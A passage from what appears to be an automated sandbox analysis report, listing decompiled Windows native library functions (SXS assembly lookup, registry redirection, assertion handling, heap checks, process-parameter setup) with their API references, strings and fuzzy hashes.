						_push(_t41);
						_push(_t35);
						E6A9A5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags              : 0x%lx\nSXS:    AssemblyRosterIndex: 0x%lx\nSXS:    AssemblyStorageRoot: %p\nSXS:    Callback           : %p\n", "RtlGetAssemblyStorageRoot");
						goto L23;
					} else {
						_t43 = E6A94C707(_t35 & 0x00000003, _t21, _t38,  &_v12,  &_v8,  &_v16);
						if(_t43 < 0) {
							_push(_t43);
							_push("SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header.  Status = 0x%08lx\n");
							goto L20;
						} else {
							_t40 = _v12;
							if(_v12 == 0) {
								L14:
								_t43 = 0;
							} else {
								_t27 = _v16;
								if(_t27 == 0) {
									L16:
									_t43 = 0xc00000e5;
								} else {
									_t37 = _v8;
									if(_v8 == 0) {
										goto L16;
									} else {
										if(_t41 >=  *((intOrPtr*)(_t27 + 8))) {
											_push( *((intOrPtr*)(_t27 + 8)));
											_push(_t41);
											E6A9A5720(0x33, 0, "SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx\n", "RtlGetAssemblyStorageRoot");
											L23:
											_t43 = 0xc000000d;
										} else {
											_t43 = E6A94C9BF(_t37, _t40, _t41, _t37, _a16);
											if(_t43 < 0) {
												_push(_t43);
												_push("SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry.  Status = 0x%08lx\n");
												L20:
												_push(0);
												_push(0x33);
												E6A9A5720();
											} else {
												_t32 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + _t41 * 4));
												if(_t32 == 0) {
													goto L16;
												} else {
													 *_t34 = _t32 + 4;
													goto L14;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t43;
			}

0x6a94c63d
0x6a94c63d
0x6a94c645
0x6a94c64f
0x6a94c652
0x6a94c655
0x6a94c65f
0x6a98a775
0x00000000
0x6a94c665
0x6a94c665
0x6a94c66a
0x6a94c66c
0x6a94c66c
0x6a94c66e
0x6a94c677
0x6a98a7ba
0x6a98a7bf
0x6a98a7c0
0x6a98a7c1
0x6a98a7cf
0x00000000
0x6a94c68e
0x6a94c6a5
0x6a94c6a9
0x6a98a77f
0x6a98a780
0x00000000
0x6a94c6af
0x6a94c6af
0x6a94c6b4
0x6a94c6f3
0x6a94c6f3
0x6a94c6b6
0x6a94c6b6
0x6a94c6bb
0x6a94c700
0x6a94c700
0x6a94c6bd
0x6a94c6bd
0x6a94c6c2
0x00000000
0x6a94c6c4
0x6a94c6c7
0x6a98a79e
0x6a98a7a1
0x6a98a7b0
0x6a98a7d7
0x6a98a7d7
0x6a94c6cd
0x6a94c6d7
0x6a94c6db
0x6a98a787
0x6a98a788
0x6a98a78d
0x6a98a78d
0x6a98a78f
0x6a98a791
0x6a94c6e1
0x6a94c6e7
0x6a94c6ec
0x00000000
0x6a94c6ee
0x6a94c6f1
0x00000000
0x6a94c6f1
0x6a94c6ec
0x6a94c6db
0x6a94c6c7
0x6a94c6c2
0x6a94c6bb
0x6a94c6b4
0x6a94c6a9
0x6a94c677
0x6a94c6fd

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlGetAssemblyStorageRoot,?,00000000,?,00000002,?,00000040,?,00000000,?), ref: 6A98A775

Strings

SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 6A98A788
RtlGetAssemblyStorageRoot, xrefs: 6A98A768, 6A98A7A2, 6A98A7C2
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 6A98A7A7
SXS: %s() passed the empty activation context, xrefs: 6A98A76D
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 6A98A7C7
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 6A98A780

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 3558298466-861424205
Opcode ID: 0cae03ef4d23a23e12d7813b512ab2e35b448f86b660d84fa36adc5c6e5dc0c4
Instruction ID: e25666382a1b9164d9de2175aa6b0c8e52561c99a50bbd45fdbdaf6796fca629
Opcode Fuzzy Hash: 0cae03ef4d23a23e12d7813b512ab2e35b448f86b660d84fa36adc5c6e5dc0c4
Instruction Fuzzy Hash: 9231C5B2E01115BFEB208A9A8C44F5E7679DF51B94F324199FA1477641DE30EE00D7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9EF019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6A9EF019(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _t39;
				intOrPtr _t55;
				long _t56;
				intOrPtr* _t63;
				intOrPtr _t64;
				void* _t65;

				_v12 = _v12 & 0x00000000;
				_t55 = __edx;
				_t64 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				RtlInitUnicodeString( &_v40, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\CommonGlobUserSettings\\");
				_t63 = _a8;
				_t56 = E6A9EF13B(_t64, _t55,  &_v40, _t63,  &_v12);
				if(_t56 >= 0 && _v12 == 2) {
					_t56 = 0;
					_v16 = 0;
					_v8 = 0;
					RtlInitUnicodeString( &_v32, L"RedirectedKey");
					_t39 =  *0x6a8f6cc8( *_t63,  &_v32, 2, 0, 0,  &_v8);
					if(_v8 > 0 && (_t39 == 0xc0000023 || _t39 == 0x80000005)) {
						_t65 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v8);
						if(_t65 != 0) {
							_push( &_v8);
							_push(_v8);
							_push(_t65);
							_push(2);
							_push( &_v32);
							_push( *_t63);
							if( *0x6a8f6cc8() >= 0 &&  *((intOrPtr*)(_t65 + 4)) == 1) {
								_t22 = _t65 + 0xc; // 0xc
								RtlInitUnicodeString( &_v48, _t22);
								if(E6A9EF13B(_v24, _v20,  &_v48,  &_v16,  &_v12) >= 0) {
									 *0x6a8f6cc4( *_t63);
									 *_t63 = _v16;
								}
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t65);
						}
					}
				}
				return _t56;
			}

0x6a9ef021
0x6a9ef030
0x6a9ef032
0x6a9ef035
0x6a9ef038
0x6a9ef03b
0x6a9ef041
0x6a9ef056
0x6a9ef05a
0x6a9ef072
0x6a9ef075
0x6a9ef078
0x6a9ef07b
0x6a9ef08f
0x6a9ef098
0x6a9ef0c3
0x6a9ef0c7
0x6a9ef0cc
0x6a9ef0cd
0x6a9ef0d3
0x6a9ef0d4
0x6a9ef0d6
0x6a9ef0d7
0x6a9ef0e1
0x6a9ef0e9
0x6a9ef0f1
0x6a9ef110
0x6a9ef114
0x6a9ef11d
0x6a9ef11d
0x6a9ef110
0x6a9ef12b
0x6a9ef12b
0x6a9ef0c7
0x6a9ef098
0x6a9ef138

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6A9EF03B

Part of subcall function 6A9EF13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6A9EF182
Part of subcall function 6A9EF13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6A9EF056), ref: 6A9EF19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6A9EF07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6A9EF08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6A9EF0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6A9EF0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6A9EF0F1
ZwClose.1105(?,?,?,00000002), ref: 6A9EF114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6A9EF12B

Strings

\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6A9EF02B
RedirectedKey, xrefs: 6A9EF06A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: ceec4beb31010a9acf80d773247f7334e48a15045e7eff5b214c012ede62a02b
Instruction ID: a6fad6d23a75be80f5cf46bc351fb473ba44dd98cc6fea36cbd19af9ce57dca0
Opcode Fuzzy Hash: ceec4beb31010a9acf80d773247f7334e48a15045e7eff5b214c012ede62a02b
Instruction Fuzzy Hash: CC310771A0115EAFDB11CF94D985EAEBBBCFF48358F21416AE501E2211DB30DE09CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9B5100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85
nativethreadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6A9B5100(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v732;
				char _v736;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t17;
				char _t23;
				void* _t24;
				void* _t26;
				void* _t29;
				intOrPtr _t30;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				signed int _t37;
				void* _t38;
				void* _t43;
				void* _t44;

				_v8 =  *0x6aa0d360 ^ _t37;
				_t30 = _a8;
				_t36 = _a16;
				_t35 = _a4;
				_push( &_v732);
				E6A96DDD0( &_v732, __ecx, _t34, _t35, _t36);
				while(1) {
					_t17 = _t36;
					if(_t36 == 0) {
						_t17 = 0x6a8f48a4;
					}
					_push(_a12);
					_push(_t30);
					_push(_t35);
					E6A9A5720(0x65, 0, "\n*** Assertion failed: %s%s\n***   Source File: %s, line %ld\n\n", _t17);
					_t38 = _t38 + 0x1c;
					if(E6A9C8D47() == 0) {
						break;
					}
					if(E6A9A5780("Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ",  &_v736, 2) == 0) {
						asm("int3");
						L19:
						_push(0xc0000001);
						_push(0xffffffff);
						_t19 = E6A9597C0();
						break;
					}
					_t23 = _v736;
					_t43 = _t23 - 0x62;
					if(_t43 > 0) {
						_t19 = _t23 - 0x69;
						L10:
						if(_t44 == 0) {
							break;
						}
						_t24 = _t19 - 6;
						if(_t24 == 0) {
							L15:
							_t19 = E6A9A5720(0x65, 0, "Execute \'.cxr %p\' to dump context\n",  &_v732);
							_t38 = _t38 + 0x10;
							asm("int3");
							if(_v736 == 0x6f) {
								break;
							}
							if(_v736 != 0x4f) {
								continue;
							}
							break;
						}
						_t26 = _t24 - 1;
						if(_t26 == 0) {
							goto L19;
						}
						if(_t26 == 4) {
							_push(0xc0000001);
							_push(0xfffffffe);
							E6A959A30();
						}
						continue;
					}
					if(_t43 == 0) {
						goto L15;
					}
					_t29 = _t23 - 0x42;
					_t44 = _t29;
					if(_t44 == 0) {
						goto L15;
					}
					_t19 = _t29 - 7;
					goto L10;
				}
				return E6A95B640(_t19, _t30, _v8 ^ _t37, _t34, _t35, _t36);
			}

0x6a9b5112
0x6a9b5116
0x6a9b5120
0x6a9b5124
0x6a9b5127
0x6a9b5128
0x6a9b512d
0x6a9b512d
0x6a9b5131
0x6a9b5133
0x6a9b5133
0x6a9b5138
0x6a9b513b
0x6a9b513c
0x6a9b5147
0x6a9b514c
0x6a9b5156
0x00000000
0x00000000
0x6a9b5171
0x6a9b51de
0x6a9b51df
0x6a9b51df
0x6a9b51e4
0x6a9b51e6
0x00000000
0x6a9b51e6
0x6a9b5173
0x6a9b517a
0x6a9b517d
0x6a9b518b
0x6a9b518e
0x6a9b518e
0x00000000
0x00000000
0x6a9b5190
0x6a9b5193
0x6a9b51ad
0x6a9b51bd
0x6a9b51c2
0x6a9b51c5
0x6a9b51cd
0x00000000
0x00000000
0x6a9b51d6
0x00000000
0x00000000
0x00000000
0x6a9b51dc
0x6a9b5195
0x6a9b5198
0x00000000
0x00000000
0x6a9b519d
0x6a9b519f
0x6a9b51a4
0x6a9b51a6
0x6a9b51a6
0x00000000
0x6a9b519d
0x6a9b517f
0x00000000
0x00000000
0x6a9b5181
0x6a9b5181
0x6a9b5184
0x00000000
0x00000000
0x6a9b5186
0x00000000
0x6a9b5186
0x6a9b51fb

APIs

RtlCaptureContext.1105(?,00000000,00000000,?), ref: 6A9B5128
DbgPrintEx.1105(00000065,00000000,*** Assertion failed: %s%s*** Source File: %s, line %ld,6A97D3E5,000001B2,?,?,?,00000000,00000000,?), ref: 6A9B5147
DbgPrompt.1105(Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B516A
ZwTerminateThread.1105(000000FE,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51A6
DbgPrintEx.1105(00000065,00000000,Execute '.cxr %p' to dump context,?,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51BD
ZwTerminateProcess.1105(000000FF,C0000001,Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? ,?,00000002,?,?,?,?,00000000,00000000,?), ref: 6A9B51E6

Strings

Execute '.cxr %p' to dump context, xrefs: 6A9B51B4
Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? , xrefs: 6A9B5165
O, xrefs: 6A9B51CF
*** Assertion failed: %s%s*** Source File: %s, line %ld, xrefs: 6A9B513E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintTerminate$CaptureContextProcessPromptThread
String ID: *** Assertion failed: %s%s*** Source File: %s, line %ld$Break repeatedly, break Once, Ignore, terminate Process, or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$O
API String ID: 3567286327-2386179708
Opcode ID: b233bda505a906248a7c6821375f0e66d9191f8d2e621096bd8e18b8764299f1
Instruction ID: ecc233274c79cc6f0d17346f18536841acb84fe18472f5b6dbc06ec91e1aa3ee
Opcode Fuzzy Hash: b233bda505a906248a7c6821375f0e66d9191f8d2e621096bd8e18b8764299f1
Instruction Fuzzy Hash: 7021677290014D7EEB208978CC88FAB366D9B02358F318542FA33B60A1EF31CE41C761

Uniqueness

Uniqueness Score: -1.00%

Function 6A9140E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E6A9140E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E6A91B150(", passed to %s", _t29);
					}
					_push("\n");
					E6A91B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x6a9140e6
0x6a9140e8
0x6a9140f1
0x6a97042d
0x6a97044c
0x6a970451
0x6a97042f
0x6a970444
0x6a970449
0x6a97045d
0x6a970466
0x6a97046e
0x6a970474
0x6a970475
0x6a97047a
0x6a97048a
0x6a97048c
0x6a970493
0x6a970494
0x6a970494
0x00000000
0x6a97049b
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6A9D38D6), ref: 6A970444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6A9D38D6), ref: 6A97045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6A9D38D6), ref: 6A97046E
DbgPrint.1105(6A8F6B94,?,?,?,?,?,?,6A9D38D6), ref: 6A97047A

Strings

HEAP: , xrefs: 6A97044C
Invalid heap signature for heap at %p, xrefs: 6A970458
HEAP[%wZ]: , xrefs: 6A97043F
, passed to %s, xrefs: 6A970469
RtlGetUserInfoHeap, xrefs: 6A970468

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: fefb4d6031bc3536e57d7a182c16879922358867658961d755e1e22c45454739
Instruction ID: 0c3d9b596dd4bcdbf348190dcda07e2ac1c637fff168f93e2281a894146b3db6
Opcode Fuzzy Hash: fefb4d6031bc3536e57d7a182c16879922358867658961d755e1e22c45454739
Instruction Fuzzy Hash: A301283200C195AFD325876898CCF8277B8DB46774F37882AF008477429FA5DC82C261

Uniqueness

Uniqueness Score: -1.00%

Function 6A916800, Relevance: 16.9, APIs: 11, Instructions: 373
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E6A916800(void* __ebx, void* __edi, void* __esi, void** _a4, signed short* _a8, intOrPtr _a12, signed short* _a16, signed short* _a20, void* _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, signed char _a44) {
				char _v5;
				void* _v12;
				void _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;
				intOrPtr* _t132;
				int _t153;
				long _t154;
				void* _t158;
				void _t162;
				void* _t194;
				int _t196;
				void* _t205;
				void* _t206;
				signed short* _t207;
				void* _t209;
				signed int _t211;
				intOrPtr* _t212;
				signed short* _t213;
				signed int _t215;
				signed short* _t217;
				void* _t219;
				void _t228;
				void _t229;
				signed int _t238;
				intOrPtr _t256;
				void* _t262;
				short _t268;
				intOrPtr _t269;
				signed int _t271;
				void* _t272;
				intOrPtr* _t273;
				void* _t275;
				intOrPtr* _t276;
				long _t278;
				void* _t279;

				_t275 = __esi;
				_t272 = __edi;
				_t205 = __ebx;
				if((_a44 & 0xfffffffe) != 0) {
					L61:
					return 0xc000000d;
				}
				_v24 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E6A916BF3(_a8) < 0) {
					goto L61;
				}
				_t256 = _a12;
				_t215 = 0;
				if(_t256 != 0) {
					_t124 = E6A916BF3(_t256);
					_t215 = 0;
				} else {
					_t124 = 0;
				}
				if(_t124 < 0) {
					goto L61;
				} else {
					_push(_t205);
					_v5 = _t215;
					_v32 = _t215;
					_t217 = _a16;
					_t206 = 0x5c;
					if(_t217 == 0) {
						L12:
						_t207 = _a20;
						if(_t207 == 0) {
							_t125 = 0;
						} else {
							_t125 = E6A916BF3(_t207);
						}
						if(_t125 < 0) {
							L65:
							_t126 = 0xc000000d;
							goto L53;
						} else {
							_t218 = _a28;
							if(_a28 == 0) {
								_t219 = 0;
								_t127 = 0;
							} else {
								_t127 = E6A916BF3(_t218);
								_t219 = 0;
							}
							if(_t127 < 0) {
								goto L65;
							} else {
								_t128 = _a32;
								if(_a32 == 0) {
									_t129 = _t219;
								} else {
									_t129 = E6A916BF3(_t128);
									_t219 = 0;
								}
								if(_t129 < 0) {
									goto L65;
								} else {
									_push(_t275);
									_t276 = _a36;
									if(_t276 == 0) {
										_t130 = _t219;
									} else {
										_t130 = E6A916BF3(_t276);
										_t219 = 0;
									}
									if(_t130 < 0) {
										_t126 = 0xc000000d;
										goto L52;
									} else {
										_push(_t272);
										_t273 = _a40;
										if(_t273 == 0) {
											_t131 = _t219;
										} else {
											_t131 = E6A916BF3(_t273);
										}
										if(_t131 < 0) {
											_t126 = 0xc000000d;
											goto L51;
										} else {
											if(_t207 == 0) {
												_t207 = _a8;
												_a20 = _t207;
											}
											_t132 = _a28;
											if(_t132 == 0) {
												_t132 = 0x6a8f1ab0;
												_a28 = 0x6a8f1ab0;
											}
											if(_a32 == 0) {
												_a32 = 0x6a8f1ab0;
											}
											if(_t276 == 0) {
												_t276 = 0x6a8f1ab0;
												_a36 = 0x6a8f1ab0;
											}
											if(_t273 == 0) {
												_t273 = 0x6a8f1ab0;
											}
											_t209 = 3;
											_t278 = 0;
											_t228 = (( *_t207 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_t132 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + (( *_a8 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a32 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + 0x4ac + (( *(_t276 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
											_v16 = _t228;
											if( *_t273 != 0) {
												_t228 = _t228 + (( *(_t273 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t228;
											}
											if(_t256 != 0) {
												_t229 = _t228 + (( *(_t256 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t229;
											}
											if(_a24 != _t278) {
												_t153 = E6A94585B(_a24, 1);
												_t229 = _v16;
											} else {
												_t153 =  *((intOrPtr*)(_v24 + 0x290));
											}
											_v20 = _t153;
											_t211 = _t153 + 0x00000003 & 0xfffffffc;
											if(_t211 < _t153) {
												L77:
												_t126 = 0xc0000095;
												goto L51;
											} else {
												while(1) {
													_t154 = _t211 + _t229;
													if(_t154 < _t229) {
														goto L77;
													}
													_t279 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t278, _t154);
													if(_t279 == 0) {
														_t126 = 0xc000009a;
														L51:
														L52:
														L53:
														return _t126;
													}
													_t158 = _t279 + _v16;
													_v12 = _t158;
													if(_a24 != 0) {
														memcpy(_t158, _a24, _v20);
														L42:
														memset(_t279, 0, 0x2a4);
														_t162 = _v16;
														 *_t279 = _t162;
														 *(_t279 + 4) = _t162;
														 *(_t279 + 0x290) = _t211;
														 *((intOrPtr*)(_t279 + 0xc)) = 0;
														_t53 = _t279 + 0x24; // 0x24
														_t212 = _t53;
														 *((intOrPtr*)(_t279 + 0x2c)) = 0;
														 *((intOrPtr*)(_t279 + 0x48)) = _v12;
														_t57 = _t279 + 0x2a4; // 0x2a4
														_v12 = _t57;
														 *((intOrPtr*)(_t279 + 8)) = 1;
														 *(_t279 + 0x14) =  *(_v24 + 0x14) & 1;
														_t169 = _a16;
														if(_a16 == 0) {
															L6A92EEF0(0x6aa079a0);
															E6A916C14( &_v12, _t212, _v24 + 0x24, 0x208);
															E6A92EB70( &_v12, 0x6aa079a0);
														} else {
															E6A916C14( &_v12, _t212, _t169, 0x208);
															if(_v5 != 0) {
																_t268 = 0x5c;
																 *((short*)( *((intOrPtr*)(_t279 + 0x28)) + _v32 * 2)) = _t268;
																_t194 = 2;
																 *_t212 =  *_t212 + _t194;
															}
														}
														_t234 = _a12;
														if(_a12 != 0) {
															_t104 = _t279 + 0x30; // 0x30
															E6A916C14( &_v12, _t104, _t234,  *(_t234 + 2) & 0x0000ffff);
														}
														_t72 = _t279 + 0x38; // 0x38
														E6A916C14( &_v12, _t72, _a8, ( *_a8 & 0x0000ffff) + 2);
														_t213 = _a20;
														_t75 = _t279 + 0x40; // 0x40
														_t262 = _t75;
														_t238 =  *_t213 & 0x0000ffff;
														_t180 = _t213[1] & 0x0000ffff;
														if(_t238 != (_t213[1] & 0x0000ffff)) {
															_t180 = _t238 + 2;
														}
														E6A916C14( &_v12, _t262, _t213, _t180);
														_t80 = _t279 + 0x70; // 0x70
														E6A916C14( &_v12, _t80, _a28,  *(_a28 + 2) & 0x0000ffff);
														_t84 = _t279 + 0x78; // 0x78
														E6A916C14( &_v12, _t84, _a32,  *(_a32 + 2) & 0x0000ffff);
														_t88 = _t279 + 0x80; // 0x80
														E6A916C14( &_v12, _t88, _a36,  *(_a36 + 2) & 0x0000ffff);
														if( *_t273 != 0) {
															_t118 = _t279 + 0x88; // 0x88
															E6A916C14( &_v12, _t118, _t273,  *(_t273 + 2) & 0x0000ffff);
														}
														if((_a44 & 0x00000001) == 0) {
															_t279 = E6A99BCB0(_t279);
														}
														_t126 = 0;
														 *_a4 = _t279;
														goto L51;
													}
													L6A92EEF0(0x6aa079a0);
													_t269 = _v24;
													_t196 =  *(_t269 + 0x290);
													_v20 = _t196;
													_t251 = _t196 + 0x00000003 & 0xfffffffc;
													_v28 = _t196 + 0x00000003 & 0xfffffffc;
													if(_t196 > _t211) {
														E6A92EB70(_t251, 0x6aa079a0);
														_t278 = 0;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t279);
														_t211 = _v28;
														_t229 = _v16;
														if(_t211 >= _v20) {
															continue;
														}
														goto L77;
													}
													memcpy(_v12,  *(_t269 + 0x48), _t196);
													E6A92EB70(_t251, 0x6aa079a0);
													_t211 = _v28;
													goto L42;
												}
												goto L77;
											}
										}
									}
								}
							}
						}
					}
					_t271 = ( *_t217 & 0x0000ffff) >> 1;
					_v32 = _t271;
					if(E6A916BF3(_t217) < 0 || _t271 == 0) {
						goto L65;
					} else {
						if( *((intOrPtr*)(_t217[2] + _t271 * 2 - 2)) == _t206) {
							L11:
							_t256 = _a12;
							goto L12;
						}
						if(_t271 > 0x103) {
							goto L65;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x6a916800
0x6a916800
0x6a916800
0x6a91680f
0x6a971b26
0x00000000
0x6a971b26
0x6a916821
0x6a91682b
0x00000000
0x00000000
0x6a916831
0x6a916834
0x6a916838
0x6a916b68
0x6a916b6d
0x6a91683e
0x6a91683e
0x6a91683e
0x6a916842
0x00000000
0x6a916848
0x6a916848
0x6a916849
0x6a91684c
0x6a91684f
0x6a916854
0x6a916857
0x6a916893
0x6a916893
0x6a916898
0x6a971b30
0x6a91689e
0x6a9168a0
0x6a9168a0
0x6a9168a7
0x6a971b47
0x6a971b47
0x00000000
0x6a9168ad
0x6a9168ad
0x6a9168b2
0x6a971b37
0x6a971b39
0x6a9168b8
0x6a9168b8
0x6a9168bd
0x6a9168bd
0x6a9168c1
0x00000000
0x6a9168c7
0x6a9168c7
0x6a9168cc
0x6a971b40
0x6a9168d2
0x6a9168d4
0x6a9168d9
0x6a9168d9
0x6a9168dd
0x00000000
0x6a9168e3
0x6a9168e3
0x6a9168e4
0x6a9168e9
0x6a971b51
0x6a9168ef
0x6a9168f1
0x6a9168f6
0x6a9168f6
0x6a9168fa
0x6a971b58
0x00000000
0x6a916900
0x6a916900
0x6a916901
0x6a916906
0x6a971b62
0x6a91690c
0x6a91690e
0x6a91690e
0x6a916915
0x6a971b69
0x00000000
0x6a91691b
0x6a91691d
0x6a971b73
0x6a971b76
0x6a971b76
0x6a916923
0x6a91692d
0x6a971b7e
0x6a971b80
0x6a971b80
0x6a916937
0x6a971b88
0x6a971b88
0x6a91693f
0x6a971b90
0x6a971b92
0x6a971b92
0x6a916947
0x6a971b9a
0x6a971b9a
0x6a916959
0x6a91698f
0x6a916991
0x6a916993
0x6a916999
0x6a971baa
0x6a971bac
0x6a971bac
0x6a9169a1
0x6a916b7d
0x6a916b7f
0x6a916b7f
0x6a9169aa
0x6a916b8d
